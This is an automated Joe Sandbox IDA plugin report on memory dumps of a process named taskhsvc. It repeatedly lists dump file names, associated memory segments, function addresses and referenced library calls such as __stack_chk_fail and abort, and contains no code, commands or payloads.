Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C15AB, Relevance: 1.5, APIs: 1, Instructions: 14

APIs

__stack_chk_fail.LIBSSP-0 ref: 001C15D7

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F095F, Relevance: 1.5, APIs: 1, Instructions: 14

APIs

__stack_chk_fail.LIBSSP-0 ref: 001F0D39

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F3B63, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

Part of subcall function 001E87F0: abort.MSVCRT ref: 001E8846
Part of subcall function 001E87F0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001F3A5F), ref: 001E8859

__stack_chk_fail.LIBSSP-0 ref: 001F3C1F

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F2161, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

__stack_chk_fail.LIBSSP-0 ref: 001F217F

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F359E, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

Part of subcall function 001E8780: abort.MSVCRT ref: 001E87D6
Part of subcall function 001E8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EA4BB), ref: 001E87E9

Part of subcall function 00211340: abort.MSVCRT ref: 0021139A
Part of subcall function 00211340: abort.MSVCRT ref: 00211425
Part of subcall function 00211340: __stack_chk_fail.LIBSSP-0 ref: 00211595

__stack_chk_fail.LIBSSP-0 ref: 001F36AB

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C6202, Relevance: 1.5, APIs: 1, Instructions: 8

APIs

__stack_chk_fail.LIBSSP-0 ref: 001C63EC

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C6215, Relevance: 1.5, APIs: 1, Instructions: 8

APIs

__stack_chk_fail.LIBSSP-0 ref: 001C63EC

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001D3221, Relevance: 1.5, APIs: 1, Instructions: 8

APIs

__stack_chk_fail.LIBSSP-0 ref: 001D32C5

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
